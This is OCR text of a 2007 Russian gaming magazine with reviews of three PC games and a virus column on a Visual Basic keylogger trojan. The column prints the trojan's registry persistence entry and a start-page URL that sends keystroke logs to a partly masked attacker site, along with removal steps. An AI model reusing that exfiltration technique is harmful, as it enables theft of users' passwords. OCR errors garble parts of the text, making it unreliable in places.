Глаголим истину MEDAL OF HONOR AIRBORNE Продолжение великой эпопеи о Второй мировой войне Возродились давно отгремевшие битвы, вновь пули и огонь, кровь и крики раненых наполнили мои воспоминания острой болью... Я не понимал, что передо мной: миф или реальность, сон или все те же страшные отголоски прошедших лет... Я почти их забыл... Почти... Все, что я пережил в игре, начиная с первой части, — это неимоверно длинный путь, путь через годы... Мое первое боевое крещение произошло в маленьком Итальянском городке. Здесь мы высадились с горящего самолета, подбитого врагами. Я, Бойд Трэверс, чемпион США 101-й воздушно- десантной дивизии, несмотря на свою дерзость, был немного напуган выстрелами снайперов. Я выстрелил в воздух, приземляясь на землю, хотя моя рация твердила мне, что АЛ все еще взрывались в воздухе. Некоторое время мне казалось, что Airborne дает намного больше возможностей, чем сама реальность, ведь каждый раз, когда меня убивали, я вновь попадал в гущу событий, в самую кровавую мясорубку, приземляясь с небес Airborne приготовила тебе широкие возможности на земле на землю... Мне стало любопытно: а если такие же беспечные герои как Трэверс также указывали путь молодым солдатам, погибшим во время Второй Мировой войны. После моего приземления среди дружелюбно настроенных солдат до меня доносились обрывки фраз: «Эй, Трэверс! Молодец, ты сделал это!!!!!!!» Так о чем же игра? Ответ в заглавии. «Медаль за Отвагу» расскажет о многих крупных операциях воздушно-десантных сил США во Второй Мировой. Итак, ты сам можешь выбрать место приземления как перед началом уровня, так и после смерти, используя десантирование. Парашютирование не столь важно, как кажется на перый взгляд. Высота падает и мы попадаем в очерченый круг, в так называемое место посадки... на все это уходят секунды... Вот те широкие возможности, которые Airborne приготовила тебе на земле. Время спуска на парашюте ты можешь потратить на корректировку маршрута и распознание огневых точек противника на земле. Правильный подбор данных 74 Р GAMER Ноябрь 2007
значительно облегчает задачу. Конечно, придется трудно, но кто говорил, что на войне легко? Теперь твоему герою придется искать укрытия и передвигаться уже на земле, собирая людей твоего подразделения. Враги, засевшие в домах, на улицах, в бункерах, на сторожевых вышках, будут поливать свинцом каждого, кто высунет голову. Чего будет стоить уничтожить пулеметный расчет врага, уста- новленного на мешках с песком? но разве ты не сделаешь все для того, чтобы две дюжины амери- канских десантников- парашютистов благополучно приземлились? Конечно, ты сделаешь все, чтобы помочь им избежать смерти. Боевая система может «похвастаться» удачным балансом сил и «жевучестью» пулеметных постов. В этой игре она стала практически идеальной моделью. И теперь, если ты отважишься пройти мимо пулемета, тебе не дадут ни единого шанса выжить. Поэтому лучший способ решить поставленную задачу — обойти с фланга или с тыла ненависную огневую точку и только так застать врага врасплох. Раньше мы не видели для одиночного игрока такой свободы действий, и такого серьезного противовеса, когда каждое здание дома — отдельная огевая точка. Еще одна особенность Airborne: после зоны высадки {dropzones) ты не можешь угадать, где тебя поджидает мина или очередная схватка. Игровой процесс построен таким образом, что даже в отвоеванном квартале ► ПРИЯТНОГО ПОЛЕТА Следи за весом Бортовой благословляет тебя Когда ты движешься к двери, то набираешься сил и продвигаешься вперед, видя под собой разметку местности вместо пейзажа за окном... ...затем несколько раз переворачиваешься в воздухе, видя перед собой свои ботинки и застежку парашюта на груди. Ты настоящий солдат, и не должен никогда ошибаться. Приземлился. Тебе интересно, откуда после падения появилась грязь под твоими ногтями. Ноябрь 2007 PCGAMER 75
Глаголим истину MEDAL OF HONOR: AIRBORNE ► могут оказаться «притаившиеся» враги. Всегда есть шанс, что за углом ты натолкнешься на немецкие укрытия или вражеские лагеря, которых попросту не заметили твои солдаты. Это максимально приближает к реальному бою и дает полную картину того, какие потери можно понести. Способность Skill Drops позволяет через специальные метки (парашюты) провести выброску и сосредоточить подкрепления там, где это необходимо. Управлять войсками можно теперь через окно своего дома или из-за двери захваченного военного сооружения. Кроме этого, можно смело подсчитывать не только каждого убитого противника, но и вести учет потерь собственных боевых едениц. К сожалению, это просто зона высадки. Еще большее сожаление вызывает то, что большинство целей находятся вне зоны высадки. Сам сценарий Airborne очень соответствует FPS стандартам, но не во всем. Очень редко игра Хороший силовой захват и грозный голос приобретает уникальную форму, но разработчики Airborne постарались, чтобы каждая из шести игровых миссий отличалась друг от друга по цветовой гамме и по впечатлениям. В конце напряженной кампании ощущения опасности притупляется и игрок чувствует радость и вкус победы. Ты готовишься представить следующие смертельные задания и игра плавно переходит в «Медаль за отвагу: Not Airborne». И пока ты не увидишь все недостатки игры и ее сюжетно-тематические ошибки, тебе будет сложно выстроить собственную стратегию, попав в зону высадки, прочувствовать все «сюрпризы» данной части. В отдельных моментах игры ты хочешь действовать, но плотно засевшие в голове образы Второй мировой войны останавливают тебя. Ты четко знаешь одно: если кто-то попытается бежать — умрут все, если кто-то попытается спасти кого-то — умрут они оба, если кто-либо отпустит шутку — умрут все, немедленно и жестоко. Это — ужас войны... Ты понимаешь это? ВЫСАДКА Направляясь в церковь Только самые худшие планы могут осуществиться замечательно Хорошо. Где я могу похозяйничать снова? В церкви? Черт возьми, это то, что случается с большинством солдат, которые даже не уточняют, где находится опасность. Приземляясь на крышу, если можно так назвать эти обломки, мы стараемся завладеть немецкой радиостанцией. Здесь будет звучать только одна радиоволна: Смертъ-FM. Что сделать? Может, прогуляться вниз и задать жару неприятелям, прячущим оружие на окнах? 76 GAMER Ноябрь 2007
РАЗБОРКИ Р-р-р! Я великан! Ю07 PCGAMEl Плавно приземлившись, можешь взрывать все, что попадается на пути. Осуществляя это. тебе придется мягко передвигаться согласно плану. Сэр, я могу заинтересовать вас мягкой посадочной полосой? Приземлиться на крышу дома, в котором расположен нацистский штаб, будет то, что нужно! I После пулеметного обстрела, • приземлиться на крышу или на ступеньки кажется хорошей идеей. Надо быть предельно мужественным, чтобы попытаться высадиться на несколько миль дальше, там, где расположен серый вражеский бункер — сердце логова немцев. Но, несмотря на противоречивые чувства, которые могут появиться при игре, есть нечто, что, несомненно, скрашивает саму игру. У тебя появляется возможность стрелять в людей первым. Как тебе такое? Разнообразное оружие и великолепный звук не могут облегчить прохождение так, как хотелось бы. Ведь уровни очень сложные. Хотя именно ощущение сложности и заставляет получать удовольствие от убийств. И пока в Airborne нет предателей и трусов, на каждом шагу ты можешь лицезреть окрававленные тела, хотя это не слишком приятное зрелище. Когда я впервые запустил эту часть, увиденное очень потрясло меня. Особенно один игровой эпизод, когда после моего приземления ко мне подбежал постовой. Он дрожал, упоминая, что для американских солдат трусость хуже смерти. А дрожал потому, что видел мою винтовку. Только потом я понял, на оружие реагируют не только твои солдаты, но и противник... Это немой страх... В следующий раз я приземлился на территории, занятой противником. И мне представился случай взорвать топливный резервуар для немецких танков. Не прошло и секунды после взрыва, как появились вражеские солдаты и попытались меня окружить. Я был один и полагался только на себя. Но эта ситуация была гораздо «круче» и ярче, чем скучные приземления на своей территории. На автоматные очереди я ответил несколькими гранатами и пальбой из винтовки и тут же прыгнул в укрытие. Перестрелка протекала со всеми своими ►
Глаголим истину MEDAL OF HONOR: AIRBORNE ► прелестями и когда фашисты были разгромлены, мне открылся отличный вид на уничтоженное горючее. Слегка ошеломленный, я возобновил стрельбу из винтовки. Я понял одно: чем больше инициативы ты проявляешь, тем меньше возможностей для маневра получает противник. Учитывая это, разработчики не приземляют игроков где попало, а дают возможность самостоятельно выбирать тактику и стиль игры. Удивительно, но когда ты бежишь — тебе удается избежать огня, а когда наступаешь и все время перемещаешься, враг приходит в замешательство и не стреляет так часто. Одна очередь может оборвать чью-то жизнь или перерасти в отчаянные перестрелки. Ведь очень многое будет зависеть от твоей храбрости и индивиуальных действий. Прежде чем приступить к боевым действиям, следует обратить внимание на такие моменты, как дезориентация противника и использование защитно-эксперементальной системы. Каждый раз, когда ты убиваешь в Airborne, твои средства защиты изменяются. Они восстанавливаются, когда ты используешь каску или вместе с другими бойцами уничтожаешь врага. Усилить защитные средства позволяют специальные ВОЙН/ Превышая скоростные ограничения Проходить все уровни Airborne — это круто! Особенно те, которые сложны Все пути перекрыты минами. Если я надумаю бежать — все взорвется. зажимы, штыки, гранаты и прочее. Пробираясь по вражеской территории, ты будешь все время искать преимущества. И они проявятся, когда будешь использовать найденные немецкие гранаты и громить целые группы врагов. У тебя вновь и вновь будет появляться какое-то неимоверное, но вполне понятное садистское желание — убить. И ты, несмотря на опасность, будешь искать врагов и подстеригать их на каждом углу. Это и есть не что иное, как вкус убийств, вкус боя и победы! И тут Airborne заканчивается. Достаточно просто, достаточно смешно, красиво и увлекательно, так как ты даже не мог Люди, беспомощно повисшие на деревьях Бежать! Двигаться, двигаться, двигаться! Не дать им возможности остановить твои движения. предположить. Медали, звезды и звания, которых у тебя не было, теперь ждут тебя после долгого, насыщенного боя. Но самое приятное — это наблюдать, как сотни солдат десантируются в самое пекло сражения... Аварии самолета, тыловые кошмары, люди, беспомощно повисшие на деревьях, — все это гораздо интереснее, чем строго проходить каждую миссию по описанным в брифинге правилам и контролировать каждый PC GAMER Action (Shooter) / 3D / 1st Person РАЗРАБОТЧИК > ЕА Los Angeles ИЗДАТЕЛЬ > Electronic Arts ЛОКАЛИЗАТОР > Софт Клаб Я долго отстреливался, пока не скрылся. прыжок. Игра Airborne дает полное представление о солдатах американской армии и о той работе, которую они проделали на полях Второй Мировой. Не стоит предъявлять больших претензий к Airborne, так как главная задача авторов — это воссоздать правдивую историю прошедших лет. Игра создана для тех, кто хочет ощутить на себе все ужасы и прелести прошедшей войны. И это еще не все, что нам предстоит увидеть. КВЕНТИН СМИТ 88 % 78 Р GAMER Ноябрь 2007
Глаголим истину STRANGLEHOLD Соль, лимон и... кое-что еще Как в замедленной съемке: разрезаешь воздух, имея в каждой руке по пистолету — и 15 недоброжелателей в этой комнате — уже мертвы. Никто не станет отрицать, что это круто. Еще можно съехать по перилам, прокатиться на брюхе на какой-то тележке и скользнуть вдоль спины музейного динозавра. Никто не ставит под сомнение безупречное качество боевиков Джона By. Разве что стоит призадуматься о ценности его последних фильмов (типа «Сломанной Стрелы»). Stranglegold — это продолжение его «гонконгского» фильма 1992 года Hard Boiled (буквально, «Сваренные вкрутую», то есть «Крутые»), с характерными для By стопкадрами — привичной политикой режиссера в отношении боевиков. Что, кстати, и обеспечивает игре соответствующее наполнение. Это что-то похожее на раннюю ленту By Heroic Bloodshed («Героическая Резня») — невообразимое количество кровавых сцен вместе с дурацкой сентиментальной историей, в которой бывшую жену и дочь инспектора Текилы (Чоу Юн Фет) похищает криминальный барон с намерением вывезти их в Убить всех от Гонконга до Чикаго Гонконг. В таких обстоятельствах Текила готов преступить закон и убить каждое человеческое существо, которое встретится на его пути от Гонконга до Чикаго. Желательно медленно, в так называемом «стиле Текилы». И если вы сейчас вспоминаете «крутого» Мах’а Payne — вы правильно поймали волну. Несомненно, разработанная под приставку Stranglegold не скрывает своего «приставочного прошлого» (естественно, следующего поколения приставок, которые довольно мило выглядят, но имеют несколько собственных каверзов). Но мы с вами уже большие мальчики и девочки и сможем управиться с этим. Но игра столь стремительна, что вам вряд ли удастся нажать на курок в «стиле Текилы». Очень удачно продумано управление всеми движениями типа «прыжок». Оно соединено в одной кнопке — будь то преодоление преград, просто под- прыгивание (при стрельбе, например), запрыгивание куда-нибудь или спуск по перилам. Время стрелять определить легко: как только в поле зрения оказывается кто-нибудь, в кого можно прицелиться, картинка становится черно-белого цвета. И вам остается только ОИ! Учебная стрельба Выстрел в лицо - и я осужден. Я подарю насилию доброе имя Посмотри на то место, где когда-то были его зубы. Целься в шею. Враг зашатается, споткнется и начнет ловить ртом воздух. Но - некогда смотреть. Убей как можно больше врагов! Гвоздь программы! Посмотри на него, вдвое согнутого от боли. Потом уйди, оставив мертвое скорченное тело лежать на полу. Еще одна часть человечности умерла в тебе. 8о GAMER Ноябрь 2007
«Теперь я отомщен! Это был кусок металла, который убил моего отца». слушать, как пули свистят у вас над головой. Сначала это кажется слегка надоедливым, как жужжание автоответчика. Но затем становится понятной главная идея игрушки. Когда вы наберете нужное количество специальных поощрений — очков за трупы врагов, то получите доступ к Tequila Bomb Time. Это, в свою очередь, обеспечит вам дополнительные игровые возможности и сделает игру более реалистичной и зрелищной. Удовольствие, которое в этом случае получил я, было похоже на радость ребенка, понявшего вдруг, что ему позволено все. Потом вы можете выбирать: «залечить свои раны» и стать на несколько пунктов здоровее (Health Boost), либо получить дополнительные Почему мир становится черно- белым? свойства для своего оружия (Precision Aim), либо на некоторое время стать неуязвимым (Frenzy). Если же вы выберете Tequila Bomb, то сможете вертеться вокруг своей оси, стреляя в каждого, кто окажется поблизости... И головы ваших врагов взорвутся словно спелые тыковки. Но будьте внимательными: сэкономив на запасах ваших жизненных сил, а играть больным Л удовольствия мало. в Автоматический режим немного разочаровывает в тех случаях, когда требуется больше сноровки и мастерства при попадании в цель. Хотя Текила еще не так маниакально жесток, как его братец по жанру стрелялок Мах, режим авто доставляет определенные неудобства тогда, когда, например, вы ►
Глаголим истину STRANGLEHOLD ► пробираетесь полутемными коридорами, напичканными бомбами с лазерным прицелом. Ведь, как только в кровь поступает еще одна порция адреналина — становится все равно, насколько ужасной может быть поджидающая тебя смерть. Я заорал: «Не двигаться!» но упрямый коп отказался подчиниться. И, несмотря на это, я не мог не получать удовольствие от Tequila Bomb Time (кстати, присутствует опция, позволяющая включать режим Tequila Bomb Time по желанию, но со строго ограниченным временем). Еще один минус: почему же все-таки мир в этом режиме становится черно-белым? в таком виде различать объекты гораздо труднее, особенно плохо видно то, что находится прямо перед тобой. На первый взгляд это не такая уж большая проблема, но все- таки — странно. В первой половине игры много шума (криков и поздравлений). Больше всего от Тима, который старается сбить меня с правильного пути. Это так смехотворно, преувеличено и трогательно. Ты ничем не можешь помочь, но много и без толку шумишь. Стреляйте в специально помеченные желтые и черные балки, чтобы сбросить груду камней на толпу внизу. Спуститесь по перилам, убейте четырех стрелков внизу, ОЙ! Tequila Bomb Gauge — получите Мне это нравится! ЗАПАС ЖИЗНИ Это самая важная «фишка», она помогает оставаться живым, даже если жизни осталось совсем немного. БЕЗУМИЕ Несколько секунд пулевого огня и неуязвимость - очень удачны в сложных условиях. Все становится голубым. потом стреляйте в светло- желтый бочонок — и каменный мост охвачен огнем, а все, находящиеся на нем — на пути в потусторонний мир. Прикончите еще одного вооруженного противника, выстрелом сбив на него ТОЧНАЯ ЦЕЛЬ Наилучший подарок. Ты можешь прицелиться в любую часть тела противника - и не промахнешься. TEQUILA BOMB Ты разрушаешь все надежды на мир, убивая каждого врага в зоне видимости. магазинную вывеску над его головой. После этого выстрелите в снайпера. Цельтесь в пах, но на всякий случай обязательно сделайте контрольный в голову. Не забывайте о катере, который легко прошибает стены зданий. Такие моменты, конечно, незамысловаты, но именно это разжигает боевой дух. Но потом кое-что меняется. Где-то в середине игры разработчики игрушки видимо потеряли расположение духа, и все стало по-другому. Исчезли вопли и прочий гам. Не стало и большинства этих изобретательно подстроенных моментов использования окружающего мира для полнейшего разрушения. Стрельба по верхушке крыши с целью обрушить град из врывающихся бочек на головы наркодиллеров, спрятавшихся в своем логове — это тоже стало историей. Кроме того, теперь вы постоянно торчите в светлых комнатах, убивая легионы все новых, и новых, и новых... и новых врагов, не имея возможности прекратить бой до тех пор, пока не умрете. На улице вы 82 GAMER Ноябрь 2007
РАЗБОРКИ Руки вверх! должны просто стрелять во все, что шевелится. Хотя все не так уж и плохо. Ты все еще можешь использовать «bullet time», можешь спускаться по ступеньках спиной назад, собирать очки и получить Tequila Bomb Time. Да, это все еще весело. Но глубина игры — исчезла. Пока ты доберешься до Фантастический микс простого управления и нехитрого сюжета Чикаго, много маленьких невзрачных кусочков/частей перевесят минуту действительно неординарного удовольствия. Уровень Slums вроде бы возвращает прелесть трюков, которые имели место ранее, но они становятся скучными уже на половине экскурсии по Национальному историческому музею. И это все медленно катится к окончанию, которое пройдет без происшествий. А игра закончится после встречи с боссом. Тогда вам нужно будет просто стрелять в него до тех пор, пока у него GAMER Action (Shooter) I 3D I 3rd Person on Оценка журнала % РАЗРАБОТЧИК > Midway Studios Chicago ИЗДАТЕЛЬ > Midway Games ЛОКАЛИЗАТОР В СНГ > Новый Диск ИЗДАТЕЛЬ В СНГ > ND Games не закончатся запасы «жизни». Любая сцена первой части могла бы иметь финал куда более драматичнее. После этого некоторое сходство с Max Payne можно с чистой совестью проигнорировать. Ноябрь 2007 P GAMER 83
Глаголим истину HEROES OF MIGHT AND MAGIC 5: TRIBES OF THE EAST Победное шествие «Героев 5» продолжается Грандиозная игра конца прошлого века Грандиозная игра конца про- шлого века, которая произ- вела фурор в мире стратегий, получает новое очередное продолжение. Для огромного ко- личества геймеров земного шара Heroes стала в некотором роде символом компьютерных игр и родителем своего стиля. Нет, я не преувеличиваю — это именно так. Я вспоминаю бессонные ночи, про- веденные еще за «Героями 2», и бес- конечные поедин- ки на «random- картах» в третьей части этой игры. Это были золотые времена для всех любителей стратегии. На тот мо- мент поклонники данного жанра по праву чувствовали себя счастливы- ми. Но потом, к моему огромному сожалению (и я был в своей критике совсем не одинок), после длитель- ного перерыва появилась четвертая версия игры. Разительно отличаясь от своих прародителей, четвертые «Герои» полностью отбили у меня интерес к дальнейшим стратегиче- ским баталиям, а мои друзья ругали игру, на чем мир стоит. С таким нетерпением ожидавшиеся ново- введения оказались фальшивкой, обещания наполнить игровой мир реалистичными поединками не были выполнены, карты представ- ляли собой какие-то скудные обруб- ки, густо напичканные всяческими маловажными, до банальности глупыми объектами, отмороженные и элементарно просчитываемые мобы — вот крат- кий перечень «за- слуг» четвертых «Героев». Повзды- хав и обматерив производителей по полной программе, любители жанра частично вернулись к тре- тьей версии (The Armageddon’s Blade и The Shadow of Death), частично ушли из Heroes насовсем (как я, например, сменив «Героев» на Empire Earth, о чем не сожалею до сих пор). И лишь совсем немногочисленное количество игроков осталось по- корять новинку, углубляясь в новый серый мир. Не вдаваясь в каждый отдельный нюанс последующих страниц истории этой игры, скажу, что бесконечное количество аддо- нов и патчей от производителя не спасло четвертых «Героев» от позора и краха. И, если лидирующая до тех пор в мировом рейтинге Heroes 3 гордо находилась на втором месте в мире, то четвертая версия в рекор- дно короткий срок вылетела сначала из топ-10, а затем и из топ-30 луч- ших компьютерных игр года. Конеч- но, полной неудачей сезона эту игру назвать нельзя — есть гораздо более сомнительные и «тупые» проекты, но четвертый Heroes звание самого неудачного продолжения, безуслов- но, заслужил. Сказка, как говорится, подошла к концу и это обидно: производи- тели моментально признали свое поражение и буквально сразу же опустили руки, предоставив судьбе возможность распоряжаться их детищем, как заблагорассудится, а критикам — шанс критиковать ► 84 F . GAMER Ноябрь 2007
HEROES OF MIGHT AND MAGIC 5 ► игру. Спрашивается в задаче: куда люди смотрят, проводя миллионы тестов? Нельзя же ориентироваться только на мнение «пузатого дядь- ки», пусть он будет 300 раз шефом предприятия. Итак, со времен падения чет- вертых Heroes прошло огромное количество времени и, буквально до позапрошлого года никто и не вспоминал о когда-то великолепной игре. Но вот, в один прекрасный день, грянул гром с ясного неба: го- товится пятая часть игры. Причем, мало того, что одна эта новость за- ставила екнуть сердца опытных гей- меров. Компания-производитель, фирма Nival, практически гаранти- ровала возращение старой системы в строй, обещая реанимировать третью версию игры, переписав ее на новый лад и добавив самые что ни есть современные «навороты». Идеально, к сожалению, не полу- чилось, но все-таки проект удался. И сейчас мы с вами посмотрим, насколько удалось продолжение пятых героев — Tibes of the East. Для начала нужно отметить, что введение новой расы и, явно подчеркнутые, сцены завершения истории, следует расценивать, как последний аддон для этой версии игры. Очень похоже на то, что пятые «Герои» не получат продол- жений, а поэтому нам следует на- сладиться Tibes of the East по полной программе. История игры на сей раз будет рассказана в несколько перевернутом режиме — с точки зрения орков. Эта гордая раса, судя по информации из игры, была выведена людь- ми и создана для, так называемого, «пушечного мяса». На орков в любых боях Идеально, к сожалению, не получилось, но все-таки проект удался возлагалась самая сложная и, прак- тически всегда, роковая задача — они должны были сражаться даже в тех случаях, если силы против- ников превосходили их во много раз. Естественно, рано или поздно, пусть даже самые примитивные и глупые, орки должны были осо- знать, что с ними обращаются несправедливо. И это свершилось. Гладиатор и предводитель орков по имени Quroq освобождает своих собратьев из рабства и поднимает восстание против создателей — коварных людей. История, надо сказать, рассказана на сей раз го- раздо лучше. От прежних проблем, связанных с задержками текста, и откровенной скукой во время диалогов, не осталось и следа. Орки заметно отличаются от остальных рас, что невольно застав- ляет вспомнить Hammer of the Fate с его гнома- ми. Не отлича- ясь высоким ин- теллектом, орки предпочитают агрессивную атакующую стратегию поединка, полностью полагаясь на свое ору- жие и кулаки. Магию орки не могут использовать вообще, что, с одной стороны, может показаться непри- вычной, но, если вдуматься, вполне логичной опцией. Уже здесь ста- новится ясно, что такая армия, по идее, должна стать легкой добычей для магов, но все же, наряду с ци- клопами и кентаврами, у орков всег- да найдется достойный ответ для любого мага. Вместо магии, войска орков оснащены неким элементом «кровожадности». То есть, чем боль- ше орки воюют, тем выше подни- мается их уровень атаки и защиты. Тут есть также маленькая загвоздка: эта опция включается только в том случае, если войска действительно агрессивны. А если орки начнут играть от обороны или просто сто- ять, «развесив уши», мораль армии упадет и, в худшем случае, поединок может закончиться даже бегством с поля боя. А это значит, что вы, управляя орками, должны тщатель- но продумывать стратегию против каждого соперника индивидуально. Здесь нельзя «пересолить», проявив излишнюю агрессию и уничтожив за две минуты свои войска глупыми атаками, но и простаивать, ожидая от соперника первого шага — тоже очень рискованный ход. Бесспорно, против сильного противника эта за- дача будет очень и очень сложной. Но и ваш герой, оказывается, сможет поддерживать своих воинов. На сей раз не магией, а боевым кличем, влияющим на «кровожад- Ноябрь 2007 PCGAMER 85
Глаголим истину ность». Очки опыта, кстати, вы сможете собирать только в случае победы в поединке или в определен- ных заданиях. Также и жертвенные алтари теперь более податливы к игрокам и принимают даже кре- стьян в обмен на опыт. Правда, жертвовать работников «серпа и молота» вам потребуется в огром- ном количестве. Что еще нового в игре? на самой карте стало происходить гораздо больше «движений». Успешно вы- полненные миссии будут теперь сопровождаться небольшой ани- мацией, как, например, в случае освобождения кентавров. В связи с новой расой в игру добавлено несколько новых артефактов, по- вышающих силу атаки и уровень защиты. Вражеские здания теперь можно не только захватывать, но и разрушать. Это не позволит со- пернику покупать новых бойцов. В первой миссии, однако, эта опция работала только с крестьянскими поселениями. Итак, сделаем вывод: перед нами продолжение сериала. Как известно, все новое — это хорошо забытое старое, либо же хорошо украденная идея. Если кто-либо из читателей интересовался неофициальными ад- донами к игре Heroes 3, то, бесспор- но, вспомнит WbG (Wake of Gods), так называемую неофициальную надстройку на третьих «Героях». Разработанный нашими программи- стами, этот аддон включал в себя оп- цию разрушения зданий, причем не только примитивных крестьянских поселков, но и целых замков. Есте- ственно, не под корень, но до фун- дамента точно. И только за большие деньги новый владелец мог заново выстроить замок. При этом именно ново- му спонсору замка предстоял выбор: что именно строить. Из раз- валин можно было возвести ГЛАВНОЕ Очередной адд-он пятых героев с легко- стью «переплюнул» к предыдущие. А 1 любой тип замка: от элементалов, до варлоков. Как видим, эта идея, похоже, наконец-то понравилась и нашим официальным разработчи- кам. Пока, естественно, скромными шагами, но все идет к тому, что в шестых «Героях» (если они когда- нибудь увидят свет) эта опция будет основным нововведением. Идея же создания немагических держав тоже не является новатор- ством. Вспомним варваров третьих «Героев» — дальнобойные орки, метающие топоры, циклопы, ме- тающие камни, птицы Рок, изредка отвечающие своим противникам электрическим разрядом да огне- дышащие драконы. О магах—ни слова, да и не было их вообще у вар- варов, что и логично и справедливо одновременно. С другой стороны, в Armageddon's Blade появились элементы, у которых практически все типы войск использо- вали магию. Возможно, вслед за орками, у ко- k торых нет магических I свойств, в следующей ’ версии игры мы по- лучим возможность поиграть какой-нибудь исключительно магической F расой, например, пришельцами с чужих планет. Разнообразия ради, это было бы совсем неплохо, хотя и вполне предсказуемо. А «кровожадность» — это хит еще вторых «Героев», когда, исполь- зуя на воинах Bloodlust, мы получали при прямом столкновении войск довольно впечатляющие бонусы атаки. На сей раз к этим бонусам добавлена и защита, но, в целом, все нововведения игры следует рассма- тривать, как реанимацию старых скилов в несколько преображенном варианте. Обобщу: перед нами пятые «Ге- рои» и я рад, что время четвертых ушло, и ушло навсегда. Пятая версия игры, бесспорно, более веселая, про- думанная, прорисованная и просто интересная. Промежуток между тре- тьими и пятыми Heroes я заполнял другими играми, но сейчас снова вер- нулся к истокам. Все-таки классику забыть трудно. Естественно, не вер- нуть тех лет, когда люди безвылазно рубились в «Героев», что в одиночку, что в мультиплеере. Но радует то, что игра «пошла на поправку», а тенден- ция нынешнего развития продукта обнадеживает. И хочется верить, что мы еще неоднократно получим воз- можность насладиться этой прекрас- ной игрой, а производители не дадут сбоев, потихоньку совмещая старую добрую игру «Герои» с современным вариантом. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Add-on (Standalone) I Strategy (Turn-based) I 3D Разработчик: Nival Interactive Издатель: Ubisoft Entertainment Издатель в России: Nival Interactive Оценка журнала: 93% 86 PCGAMER Ноябрь 2007
Доктора !!! Такой безвирусный сентябрь Приветствую читателей нашей рубрики Добро пожаловать в мир вирусов и троянцев, а так- же вредоносных программ! Сто- ит отметить, что сентябрь — месяц,как правило, спокойный, причем как с точки зрения вирусной угрозы, так и с точки зрения общей безопасности компьютера. Так то оно так, но уже в начале месяца злобные программисты-вредители «по- радовали» безобидных пользователей очередным пакетом кейлоггеров. Есть” дома Homebanking? Тогда караул!!! Сроч- но обновляйте антивирусные базы! Также опасайтесь, вы — счастливый обладатель официального аккаунта какой-либо вир- туальной он-лайн игрушки. В прошлом году, например, мы имели дело с неоднократными летними эпиде- миями компьютерной заразы, причем вредители просто засыпали виртуальный мир своими скандальными изобретения- ми. Наряду с этим, «умные» и злобные подростки брали готовый уже вирус, меняли пару строчек (в основном, про- писывали свое собственное имя в целях прославиться) и, в результате, получался свеженький продукт распада. Отличный повод для пауики пользователям, и оче- редная головная боль программистам из антивирусных контор. В этом году, как это не парадоксально, обошлось без крупных происшествий, а прошлогодняя «злобная молодежь», похоже, выросла из возраста «я против всего мира» и, видимо, занялась чем-то более полез- ным. Например, обратила внимание, что в природе существует противоположный пол и общение с ним доставляет гораздо больше удовольствия, чем перепрограм- мирование готовых вирусных продуктов. Яак или иначе, лето 2007 года нич^м осо- бенным не запомнилось Шквалов атак, вроде бы, не отмечалось, ну а вирусы, конечно, появлялись, но в обычном или даже более спокойном ритме. Известней- ший производитель антивирусного со- фта фирма McAfee ДЙже распространила - на эту'тёму заявление, удивляясь тишине и покою и призывая коллег быть внима- ’ тельными и подготовиться к возможному 'ф урагану. Но прошел июнь, июль, а потом настал и август, а затишье в мире вирусов все продолжалось и продолжалось. В хо- рошее верится как-то с трудом, поэтому остается предположить, что бурная дея- тельность достигнет апогея в этом году в конце осени или в начале зимы, а это значит, что не только в природе наблю- дается резкая смена климата, но и в мире вирусов. Видимо, вредителям пришелся по душе такой сценарий: летом развлека- емся и бегаем по деиочкам дй на пляжи, а вот зимой залазим в берлогу и начинаем стращать неопытных пользователей оче- редными червями. Но уже начало сентября 2007 года порадовало пользователей. Во-первых, появились пара-тройка довольно га- достных кейлоггеров, ворующих не це- ленаправленные коды и пароли, а все подряд. Об одном из них мы расскажем в этой статье. А во-вторых, в Германии и Франции вспыхнули, пусть даже на со- всем короткий срок, эпидемии червей трехлетней давности. Западноевропейцы запаниковали, потому что по непонятной причине Norton Antivirus оказался не в состоянии справиться с этой заразой. Пришлось срочно пересмотреть мнение о программном обеспечении-иотому что простенький и бесплатный AntiXir в счи- танные секунды «хлопнул» вирус. Но вернемся к нашим баранам. так: Trojan-Spy. Win32. VB.m 5 Известен как: 1 \ X TrojanSpy:Win32.VB.m, PWS- ' RedNeck, PWSteaLTrojan, BackDofyr.Frestr, TrojanSpy:Win32/VB.M, TROJ_yB.M, TR/\ SPY. VB.m, Win32:Trojan gery,; Trojan.Spy.y VB.M, Backdoor Program', Win32/SpyA/^r Характеристика: программа-шпион. Описание: Троянская программа — клавиатурный шпион. Является приложением'Windows (РЕ ЕХЕ-файл). Имеет размер 36864 бай- та. НаписанаЯгй Visual Basic. ИнсгралНяиия: j IJotne запуска троянец копирует свое тело в корневой каталог Windows под именем «SYSEDIT.EXE»: • % WinDir%\SYSEDIT.E№, -/.целью автоматического запуска при каждом последующем старте системы троянец дсЛвляет ссылку на свой испол- няемый файл в ключ автозапуска систем- ного реестра: \ [HKLM\Software\idicrosoft\Windows\ CurrentVersion\Rurt] “sysedit” = “% WinDir1i\SYSEDIT.EXE” Методы воздействий: Троянская программа отслеживает на- жатия клавиш клавиатуры. Для сохране- ния и отправки похищаемых данных злоу- мышленнику используется ключ систем- ного реестра, отвечающий за стартовую страницу браузера Internet Explorer: [HKCU\Software\Microsoft\Internet Explorer\Main] „Start Page" = http://www. ***sch. com/test/test.php?page=%current_start_ page%&text=%log% При загрузке браузера открывается сайт злоумышленника, затем происходит редирект на обычную стартовую стра- ницу пользователя. При этом в качестве параметра «text» на сайт злоумышлен- ника передайся собранная информация о кяавиатурш^пвводе. После успешной передачи данных Лрг обнуляется. Рекомендации w> удалению: Если ваш компыотер не был защищен антивирусом^ оказался заражен данной вредоноснойгПрогфаммой, то для ее уда- ления необходимо выполнить следующие действия: ‘ V — при помр/ци «ДИСПЕТЧЕРА ЗАДАЧ» завершить троянский процесс. — удалиргь оригинальный файл троян- ца (его расположение на зараженном ком- пьютере зависит от способа, которым программа попала на компьютер). /у- удалить файл, созданный троянцем: // %WinDir%\SYSEDIT.EXE \ — при помощи редактора «СИСТЕМ- < )ЗОГО РЕЕСТРА» (regedit)удалить сле- дующие записи из реестра: \jIHTCU\Software\Microsoft\Internet ExplorbAMain] „StartPdge" = http://www. "**sch.com/ test/test!plip?page= %current_start_ page%&teM=%log% I HKLM\Software\Microsoft \ Windows\ Current Version\Run] „sysedit" = ,,%WinDir%\SYSEDITEXE“ — восстановить желаемую стартовую страницу. Заметно даже невооруженным глазом, что мы имеем дело с очень подленькой программой. В принципе — ничего сложного, но владельцам Homebanking — реальнейшая угроза. Пожалуйста, заботь- тесь о вашей антивирусной программе. Регулярно 